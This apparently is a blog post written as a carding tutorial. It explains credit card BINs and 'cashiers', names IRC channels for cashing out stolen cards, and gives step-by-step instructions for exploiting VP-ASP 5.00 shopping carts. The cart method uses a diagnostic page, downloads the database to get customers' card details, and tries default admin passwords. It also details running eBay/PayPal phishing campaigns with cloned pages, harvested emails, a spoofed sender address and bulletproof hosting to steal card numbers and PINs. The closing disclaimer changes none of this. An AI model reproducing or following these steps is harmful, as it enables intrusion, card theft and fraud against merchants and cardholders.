Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.
Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.
Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.
You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:
• Credit Card Scams ( usually used for earning money , some times for shopping )
• Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )
1. Shopadmin Hacking

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked. Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart
Version: 5.00

How to find VP-ASP 5.00 sites?

Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00
2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is: diag_dbtest.asp
Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:
• xDatabase
• shopping140
• xDblocation
• resx
• xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r
Example:

The most important thing here is xDatabase
xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:
xDblocation
resx
the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.
Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:
Username: admin
password: admin
OR
Username: vpasp
password: vpasp

2. Hacking Through Scams

This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

What is eBay.com?

Its a shopping site world wide which is used by many of billion people which use their credit cards on ebay. What you do make a similar page same as eBay and upload it on some hosting which don't have any law restrictions, try to find hosting in Europe they will make your scam up for long time, and email the users of eBay.

How to get the emails of their users?

Go to google.com and type "Email Harvestor" or any Email Spider and search for eBay Buyers and eBay Sellers and u will get long list. That list is not accurate but out of 1000 atleast 1 email would be valid. Atleast you will get some time.

Well u create a clone page of ebay, and mail the list u create from spider with message, like "Your account has been hacked" or any reason that looks professional, and ask them to visit the link below and enter your info billing, and the scam page have programming when they enter their info it comes directly to your email.
In the form page u have PIN required so u also get the PIN number through which u can cash through ATM ..

Now if u run ebay scam or paypal scam, its up to your luck who's your victim. A client of bank of america or of citibank or of region, its about luck, maybe u get cashable, may be u don't its just luck, nothing else.

Search on google to download a scam site and study it !

After you create your scam site, just find some email harvestor or spider from internet (download good one at Bulk Email Software Superstore - Email Marketing Internet Advertising) and create a good email list.

And you need to find a mailer (mass sending mailer) which send mass - emails to all emails with the message of updating their account on ur scam page ). In from to, use email eBay@reply3.ebay.com and in subject use : eBay - Update Your eBay Account and in Name use eBay

Some Instructions:

1. Make sure your hosting remains up or the link in the email u will send, and when your victim emails visit it, it will show page cannot be displayed, and your plan will be failed.
2. Hardest point is to find hosting which remains up in scam. even i don't find it easily, its very very hard part.
3. Maybe u have contacts with someone who own hosting company and co locations or dedicated he can hide your scam in some of dedicated without restrictions.
4. Finding a good email list (good means = actually users)
5. Your mass mailing software land the emails in inbox of users.


That's all folks. Hope you will find this tutorial useful. And remember, hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial.
Categories: Credit Card Hack
 Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest
 Newer Post Older Post Home
 57 comments: